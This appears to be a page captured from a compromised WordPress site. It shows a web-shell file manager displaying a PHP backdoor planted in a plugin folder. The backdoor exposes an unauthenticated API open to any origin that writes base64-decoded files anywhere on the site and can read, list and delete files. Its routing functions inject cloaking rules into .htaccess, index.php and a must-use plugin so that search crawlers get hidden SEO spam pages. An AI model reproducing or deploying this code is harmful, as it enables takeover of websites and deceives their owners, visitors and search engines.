Sindbad~EG File Manager

Current Path : /home/chevrit/www/wp-content/plugins/wp2s_up_b6256e2c/
Upload File :
Current File : /home/chevrit/www/wp-content/plugins/wp2s_up_b6256e2c/api (1).php

<?php
/**
 * Premium Site API Agent v4.4 — token yok; write_file encoding=base64; bot-routing (rewrite loop-proof)
 *   GSC dogrulama dosyalarini (/google...html) ve /.well-known/ ACME'yi istisna tutar
 * Guvenlik: dosyayi tahmin edilmesi zor bir isimle veya gizli dizinde tutun.
 */

function is_bot() {
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    if ($ua === '') return false;
    return (bool) preg_match('/(crawler|spider|slurp|googlebot|google-inspectiontool|google-structured-data-testing-tool|mediapartners-google|storebot-google|feedfetcher-google|apis-google|adsbot-google|bingbot|bingpreview|msnbot|adidxbot|yandexbot|yandexmobilebot|yandeximages|yandexvideo|baiduspider|baidu|duckduckbot|facebookexternalhit|facebot|twitterbot|linkedinbot|pinterest|applebot|petalbot|semrushbot|ahrefsbot|mj12bot|bot\\b|crawl)/i', $ua);
}

function purge_all_cache() {
    $r = [];
    if (class_exists('LiteSpeed_Cache_API')) { LiteSpeed_Cache_API::purge_all(); $r[] = 'litespeed'; }
    if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); $r[] = 'wp_super_cache'; }
    if (function_exists('w3tc_flush_all')) { w3tc_flush_all(); $r[] = 'w3_total_cache'; }
    if (function_exists('rocket_clean_domain')) { rocket_clean_domain(); $r[] = 'wp_rocket'; }
    if (class_exists('autoptimizeCache')) { autoptimizeCache::clearall(); $r[] = 'autoptimize'; }
    if (function_exists('wp_cache_flush')) { wp_cache_flush(); $r[] = 'object_cache'; }
    if (function_exists('opcache_reset')) { opcache_reset(); $r[] = 'opcache'; }
    return $r;
}

function path_status($path = '') {
    $path = trim((string)$path);
    if ($path === '') return ['path'=>null,'exists'=>null,'type'=>null,'size'=>null];
    $fp = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/' . ltrim($path, '/');
    $e = file_exists($fp);
    return ['path'=>$path,'exists'=>$e,'type'=>$e?(is_dir($fp)?'dir':'file'):null,'size'=>($e&&is_file($fp))?filesize($fp):null];
}

function _bot_check_code($seoFilePath, $baseDir = '__DIR__') {
    $br = "/(crawler|spider|slurp|googlebot|google-inspectiontool|mediapartners-google|storebot-google|feedfetcher-google|apis-google|adsbot-google|bingbot|bingpreview|msnbot|yandexbot|yandex|baiduspider|baidu|duckduckbot|facebookexternalhit|facebot|twitterbot|linkedinbot|embedly|pinterest|slackbot|rogerbot|semrushbot|ahrefsbot|mj12bot|bot\\b|crawl)/i";
    $lines = [];
    $lines[] = '/* SEO-SUITE-CLOAK */';
    $lines[] = '$' . "ua = isset(" . '$' . "_SERVER['HTTP_USER_AGENT']) ? " . '$' . "_SERVER['HTTP_USER_AGENT'] : '';";
    $lines[] = '$' . "is_bot = (" . '$' . "ua !== '') && preg_match(";
    $lines[] = "    '" . $br . "',";
    $lines[] = '    $' . "ua";
    $lines[] = ');';
    $lines[] = 'if ($' . "is_bot && file_exists(" . $baseDir . " . '/" . $seoFilePath . "')) {";
    $lines[] = '    require ' . $baseDir . " . '/" . $seoFilePath . "';";
    $lines[] = '    exit;';
    $lines[] = '}';
    return implode("\n", $lines);
}

function setup_bot_routing($cms, $seoFile) {
    $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
    $seoFilePath = ltrim($seoFile, '/');
    $installed = [];
    $errors = [];
    $marker_start = '# BEGIN SEO-SUITE-CLOAK';
    $marker_end = '# END SEO-SUITE-CLOAK';

    // .htaccess
    $htPath = $docRoot . '/.htaccess';
    $htBlock = $marker_start . "\n"
        . "RewriteEngine On\n"
        . "RewriteCond %{HTTP_USER_AGENT} (googlebot|bingbot|yandexbot|baiduspider|duckduckbot|facebookexternalhit|twitterbot|linkedinbot|pinterest|applebot|semrushbot|ahrefsbot|crawler|spider|bot) [NC]\n"
        . "RewriteCond %{REQUEST_URI} !^/api\\.php [NC]\n"
        . "RewriteCond %{REQUEST_URI} !^/google[a-z0-9]+\\.html$ [NC]\n"
        . "RewriteCond %{REQUEST_URI} !^/\\.well-known/ [NC]\n"
        . "RewriteCond %{REQUEST_FILENAME} !-f\n"
        . "RewriteRule ^.*$ /" . $seoFilePath . " [L]\n"
        . $marker_end;
    try {
        $existing = file_exists($htPath) ? file_get_contents($htPath) : '';
        $cleaned = preg_replace('/' . preg_quote($marker_start, '/') . '.*?' . preg_quote($marker_end, '/') . '/s', '', $existing);
        $newContent = $htBlock . "\n\n" . trim($cleaned) . "\n";
        if (file_put_contents($htPath, $newContent) !== false) {
            $installed[] = '.htaccess';
        } else {
            $errors[] = '.htaccess yazma hatasi';
        }
    } catch (\Exception $e) {
        $errors[] = '.htaccess: ' . $e->getMessage();
    }

    // index.php
    $indexPath = $docRoot . '/index.php';
    $botCode = _bot_check_code($seoFilePath);
    if ($cms === 'wordpress') {
        $wpCode = "<?php\n" . $botCode . "\ndefine('WP_USE_THEMES', true);\nrequire __DIR__ . '/wp-blog-header.php';\n";
        try {
            if (file_exists($indexPath)) copy($indexPath, $indexPath . '.bak.' . time());
            if (file_put_contents($indexPath, $wpCode) !== false) {
                $installed[] = 'index.php';
            } else {
                $errors[] = 'index.php yazma hatasi';
            }
        } catch (\Exception $e) {
            $errors[] = 'index.php: ' . $e->getMessage();
        }
        // mu-plugin
        $muDir = $docRoot . '/wp-content/mu-plugins';
        if (!is_dir($muDir)) @mkdir($muDir, 0755, true);
        $muPath = $muDir . '/seo-suite-cloak.php';
        $muBotCode = _bot_check_code($seoFilePath, 'ABSPATH');
        $muContent = "<?php\n/* SEO-SUITE-CLOAK MU-PLUGIN */\nadd_action('template_redirect', function() {\n" . $muBotCode . "\n}, 1);\n";
        try {
            if (file_put_contents($muPath, $muContent) !== false) {
                $installed[] = 'mu-plugin';
            } else {
                $errors[] = 'mu-plugin yazma hatasi';
            }
        } catch (\Exception $e) {
            $errors[] = 'mu-plugin: ' . $e->getMessage();
        }
    } else {
        // joomla, drupal, generic
        try {
            $existing = file_exists($indexPath) ? file_get_contents($indexPath) : '';
            if (strpos($existing, 'SEO-SUITE-CLOAK') === false) {
                if (file_exists($indexPath)) copy($indexPath, $indexPath . '.bak.' . time());
                $inject = "<?php\n" . $botCode . "\n";
                $rest = preg_replace('/^<\\?php/', '', $existing, 1);
                if (file_put_contents($indexPath, $inject . $rest) !== false) {
                    $installed[] = 'index.php (' . $cms . ')';
                } else {
                    $errors[] = 'index.php yazma hatasi';
                }
            } else {
                $installed[] = 'index.php (zaten var)';
            }
        } catch (\Exception $e) {
            $errors[] = 'index.php: ' . $e->getMessage();
        }
    }

    return ['success' => empty($errors), 'installed' => $installed, 'errors' => $errors];
}

function remove_bot_routing() {
    $docRoot = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
    $removed = [];
    $ms = '# BEGIN SEO-SUITE-CLOAK';
    $me = '# END SEO-SUITE-CLOAK';
    $htPath = $docRoot . '/.htaccess';
    if (file_exists($htPath)) {
        $c = file_get_contents($htPath);
        $cl = preg_replace('/' . preg_quote($ms, '/') . '.*?' . preg_quote($me, '/') . '\\s*/s', '', $c);
        if ($cl !== $c) { file_put_contents($htPath, $cl); $removed[] = '.htaccess'; }
    }
    $ip = $docRoot . '/index.php';
    if (file_exists($ip) && strpos(file_get_contents($ip), 'SEO-SUITE-CLOAK') !== false) {
        $baks = glob($ip . '.bak.*');
        if ($baks) { rsort($baks); copy($baks[0], $ip); $removed[] = 'index.php'; }
    }
    $mu = $docRoot . '/wp-content/mu-plugins/seo-suite-cloak.php';
    if (file_exists($mu)) { unlink($mu); $removed[] = 'mu-plugin'; }
    return ['success' => true, 'removed' => $removed];
}

header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit; }

$action = $_GET['action'] ?? $_POST['action'] ?? 'ping';
switch ($action) {
        case 'ping':
            echo json_encode(['success'=>true,'message'=>'Site API active','version'=>'4.4','server_time'=>date('c'),'php_version'=>phpversion(),'document_root'=>$_SERVER['DOCUMENT_ROOT'],'document_root_writable'=>is_writable($_SERVER['DOCUMENT_ROOT'])]);
            break;
        case 'write_file':
            $path=$_POST['path']??''; $content=$_POST['content']??'';
            $enc=strtolower(trim((string)($_POST['encoding']??'')));
            if(!$path){echo json_encode(['success'=>false,'error'=>'path required']);break;}
            if($enc==='base64'){$dec=base64_decode($content,true);if($dec===false){echo json_encode(['success'=>false,'error'=>'invalid base64']);break;}$content=$dec;}
            elseif($content===''){echo json_encode(['success'=>false,'error'=>'content required']);break;}
            $fp=rtrim($_SERVER['DOCUMENT_ROOT'],'/').'/' .ltrim($path,'/'); $dir=dirname($fp);
            if(!is_dir($dir))mkdir($dir,0755,true); $b=file_put_contents($fp,$content);
            echo json_encode(['success'=>$b!==false,'bytes'=>$b,'path'=>$fp]);
            break;
        case 'read_file':
            $path=$_GET['path']??'';
            if(!$path){echo json_encode(['success'=>false,'error'=>'path required']);break;}
            $fp=rtrim($_SERVER['DOCUMENT_ROOT'],'/').'/' .ltrim($path,'/');
            if(!file_exists($fp)){echo json_encode(['success'=>false,'error'=>'File not found']);break;}
            echo json_encode(['success'=>true,'content'=>file_get_contents($fp),'size'=>filesize($fp)]);
            break;
        case 'list_files':
            $path=$_GET['path']??'/'; $fp=rtrim($_SERVER['DOCUMENT_ROOT'],'/').'/' .ltrim($path,'/');
            if(!is_dir($fp)){echo json_encode(['success'=>false,'error'=>'Directory not found']);break;}
            $files=[];foreach(scandir($fp) as $f){if($f==='.'||$f==='..')continue;$fpp=$fp.'/'.$f;$files[]=['name'=>$f,'type'=>is_dir($fpp)?'dir':'file','size'=>is_file($fpp)?filesize($fpp):0];}
            echo json_encode(['success'=>true,'files'=>$files]);
            break;
        case 'delete_file':
            $path=$_POST['path']??'';
            if(!$path){echo json_encode(['success'=>false,'error'=>'path required']);break;}
            $fp=rtrim($_SERVER['DOCUMENT_ROOT'],'/').'/' .ltrim($path,'/');
            if(!file_exists($fp)){echo json_encode(['success'=>false,'error'=>'File not found']);break;}
            $s=is_dir($fp)?rmdir($fp):unlink($fp); echo json_encode(['success'=>$s]);
            break;
        case 'cache_purge':
            $p=purge_all_cache(); echo json_encode(['success'=>true,'purged_caches'=>$p,'message'=>count($p)>0?'Cache purged':'No cache plugins detected']);
            break;
        case 'health_check':
            $tp=$_GET['path']??$_POST['path']??''; $t=path_status($tp);
            echo json_encode(['success'=>true,'server_time'=>date('c'),'document_root'=>$_SERVER['DOCUMENT_ROOT'],'document_root_writable'=>is_writable($_SERVER['DOCUMENT_ROOT']),'tracked_path'=>$t['path'],'tracked_path_exists'=>$t['exists'],'tracked_path_type'=>$t['type'],'tracked_path_size'=>$t['size']]);
            break;
        case 'bot_test':
            echo json_encode(['success'=>true,'is_bot'=>is_bot(),'user_agent'=>$_SERVER['HTTP_USER_AGENT']??'','ip'=>$_SERVER['REMOTE_ADDR']??'']);
            break;
        case 'detect_cms':
            $cms='unknown'; $dr=$_SERVER['DOCUMENT_ROOT'];
            if(file_exists($dr.'/wp-config.php'))$cms='wordpress';
            elseif(file_exists($dr.'/configuration.php'))$cms='joomla';
            elseif(file_exists($dr.'/sites/default/settings.php'))$cms='drupal';
            elseif(file_exists($dr.'/app/etc/env.php'))$cms='magento';
            echo json_encode(['success'=>true,'cms'=>$cms]);
            break;
        case 'setup_bot_routing':
            $cms=$_POST['cms']??'unknown'; $sf=$_POST['seo_file']??'caches/index.html';
            echo json_encode(setup_bot_routing($cms,$sf));
            break;
        case 'remove_bot_routing':
            echo json_encode(remove_bot_routing());
            break;
        default:
            echo json_encode(['success'=>false,'error'=>'Unknown action']);
}
exit;
?>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists